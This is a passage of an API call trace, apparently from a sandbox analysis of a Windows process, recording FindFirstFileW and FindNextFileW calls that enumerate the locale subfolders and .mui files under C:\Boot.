ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0242.944] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec0b0 [0242.945] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.945] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.945] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.945] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.945] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0242.945] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.945] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0242.945] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebfb0 [0242.945] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.946] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.946] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.946] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.946] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0242.946] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.946] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0242.946] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebfb0 [0242.946] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.946] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.947] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.947] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.947] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0242.947] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.947] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0242.947] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebfb0 [0242.948] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.948] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.948] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.948] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.948] FindClose (in: hFindFile=0x6ebfb0 | out: hFindFile=0x6ebfb0) returned 1 [0242.948] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.948] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0242.948] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec4f0 [0242.948] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.948] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.948] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0242.949] FindClose (in: hFindFile=0x6ec4f0 | out: hFindFile=0x6ec4f0) returned 1 [0242.949] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.949] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0242.949] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec4b0 [0242.950] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.950] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.950] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0242.950] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0242.950] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.950] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0242.950] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0242.950] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec070 [0242.951] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.951] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.951] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.951] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.951] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0242.952] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0242.952] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x2a1fa7c | out: lpFindFileData=0x2a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0242.952] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebfb0 [0242.952] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.952] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x2a1f800 | out: lpFindFileData=0x2a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, 